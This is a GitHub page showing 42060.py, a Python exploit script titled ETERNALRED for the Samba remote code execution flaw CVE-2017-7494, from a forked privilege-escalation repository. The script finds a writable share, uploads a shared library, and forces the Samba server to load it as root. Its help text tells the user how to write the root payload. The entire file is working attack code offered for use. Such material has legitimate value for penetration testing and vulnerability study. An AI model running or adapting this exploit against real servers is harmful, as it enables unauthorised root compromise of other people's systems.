forked from Al1ex/LinuxEelvation
-
Notifications
You must be signed in to change notification settings - Fork 0
/
42060.py
468 lines (390 loc) · 21.2 KB
/
42060.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
#! /usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <[email protected]>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494
import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *
class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password
class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)
def hook_listShares(self):
self._listShares = self.listSharesEx
def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix
# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]
def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)
def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))
def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == 0:
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')
def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
call_id = self._getNextRPCCallID()
padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
padding = b'\0\0'
server_bytes_len += 2
# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
struct.pack('<III', server_len, 0, server_len) + \
(remote_name + '\0').encode('UTF-16LE') + padding + \
binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')
def listShareResultsCB(result_message, **kwargs):
messages_history.append(result_message)
if result_message.status == 0:
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
data_bytes = result_message.payload.out_data
if data_bytes[3] & 0x02 == 0:
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103: # STATUS_PENDING
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
else:
closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
def decodeResults(tid, fid, data_bytes):
shares_count = struct.unpack('<I', data_bytes[36:40])[0]
results = [ ] # A list of SharedDevice2 instances
offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants
for i in range(0, shares_count):
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
offset += 12
for i in range(0, shares_count):
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')
if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)
closeFid(tid, fid)
callback(results)
def sendReadRequest(tid, fid, data_bytes):
read_count = min(4280, self.max_read_size)
m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
fid = fid, data_bytes = data_bytes)
def readCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
data_len = read_message.payload.data_length
data_bytes = read_message.payload.data
if data_bytes[3] & 0x02 == 0:
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))
def closeFid(tid, fid, results = None, error = None):
m = SMB2Message(SMB2CloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
messages_history.append(m)
def closeCB(close_message, **kwargs):
if kwargs['results'] is not None:
callback(kwargs['results'])
elif kwargs['error'] is not None:
errback(OperationFailure(kwargs['error'], messages_history))
if path not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if connect_message.status == 0:
self.connected_trees[path] = connect_message.tid
connectSrvSvc(connect_message.tid)
else:
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))
m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
messages_history.append(m)
else:
connectSrvSvc(self.connected_trees[path])
# Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')
messages_history = [ ]
def sendOpen(tid):
m = SMBMessage(ComOpenAndxRequest(filename = path,
access_mode = 0x0040, # Sharing mode: Deny nothing to others
open_mode = 0x0001, # Failed if file does not exist
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
timeout = timeout * 1000))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
messages_history.append(m)
def openCB(open_message, **kwargs):
messages_history.append(open_message)
if not open_message.status.hasError:
if max_length == 0:
closeFid(open_message.tid, open_message.payload.fid)
callback(( file_obj, open_message.payload.file_attributes, 0 ))
else:
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))
def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
read_count = self.max_raw_size - 2
m = SMBMessage(ComReadAndxRequest(fid = fid,
offset = offset,
max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
read_len = read_len, remaining_len = remaining_len)
def readCB(read_message, **kwargs):
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
if not read_message.status.hasError:
read_len = kwargs['read_len']
remaining_len = kwargs['remaining_len']
data_len = read_message.payload.data_length
if max_length > 0:
if data_len > remaining_len:
file_obj.write(read_message.payload.data[:remaining_len])
read_len += remaining_len
remaining_len = 0
else:
file_obj.write(read_message.payload.data)
remaining_len -= data_len
read_len += data_len
else:
file_obj.write(read_message.payload.data)
read_len += data_len
if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
closeFid(read_message.tid, kwargs['fid'])
callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements
else:
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
else:
messages_history.append(read_message)
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))
def closeFid(tid, fid):
m = SMBMessage(ComCloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
messages_history.append(m)
if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if not connect_message.status.hasError:
self.connected_trees[service_name] = connect_message.tid
sendOpen(connect_message.tid)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))
m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
sendOpen(self.connected_trees[service_name])
def get_connection(user, password, server, port, force_smb1=False):
if force_smb1:
smb_structs.SUPPORT_SMB2 = False
conn = SMBConnectionEx(user, password, "", "server")
assert conn.connect(server, port)
return conn
def get_share_info(conn):
conn.hook_listShares()
return conn.listShares()
def find_writeable_share(conn, shares):
print("[+] Searching for writable share")
filename = "red"
test_file = tempfile.TemporaryFile()
for share in shares:
try:
# If it's not writeable this will throw
conn.storeFile(share.name, filename, test_file)
conn.deleteFiles(share.name, filename)
print("[+] Found writeable share: " + share.name)
return share
except:
pass
return None
def write_payload(conn, share, payload, payload_name):
with open(payload, "rb") as fin:
conn.storeFile(share.name, payload_name, fin)
return True
def convert_share_path(share):
path = share.path[2:]
path = path.replace("\\", "/")
return path
def load_payload(user, password, server, port, fullpath):
conn = get_connection(user, password, server, port, force_smb1 = True)
conn.hook_retrieveFile()
print("[+] Attempting to load payload")
temp_file = tempfile.TemporaryFile()
try:
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
except:
pass
return
def drop_payload(user, password, server, port, payload):
payload_name = "charizard"
conn = get_connection(user, password, server, port)
shares = get_share_info(conn)
share = find_writeable_share(conn, shares)
if share is None:
print("[!] No writeable shares on " + server + " for user: " + user)
sys.exit(-1)
if not write_payload(conn, share, payload, payload_name):
print("[!] Failed to write payload: " + str(payload) + " to server")
sys.exit(-1)
conn.close()
fullpath = convert_share_path(share)
return os.path.join(fullpath, payload_name)
def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
description= """Eternal Red Samba Exploit -- CVE-2017-7494
Causes vulnerable Samba server to load a shared library in root context
Credentials are not required if the server has a guest account
For remote exploit you must have write permissions to at least one share
Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share
For local exploit provide the full path to your shared library to load
Your shared library should look something like this
extern bool change_to_root_user(void);
int samba_init_module(void)
{
change_to_root_user();
/* Do what thou wilt */
}
""")
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args()
if not os.path.isfile(args.payload):
print("[!] Unable to open: " + args.payload)
sys.exit(-1)
port = 445
user = "nobody"
password = ""
fullpath = ""
if args.port:
port = args.port
if args.username:
user = args.username
if args.password:
password = args.password
if args.local:
fullpath = args.payload
else:
fullpath = drop_payload(user, password, args.server, port, args.payload)
load_payload(user, password, args.server, port, fullpath)
if __name__ == "__main__":
main()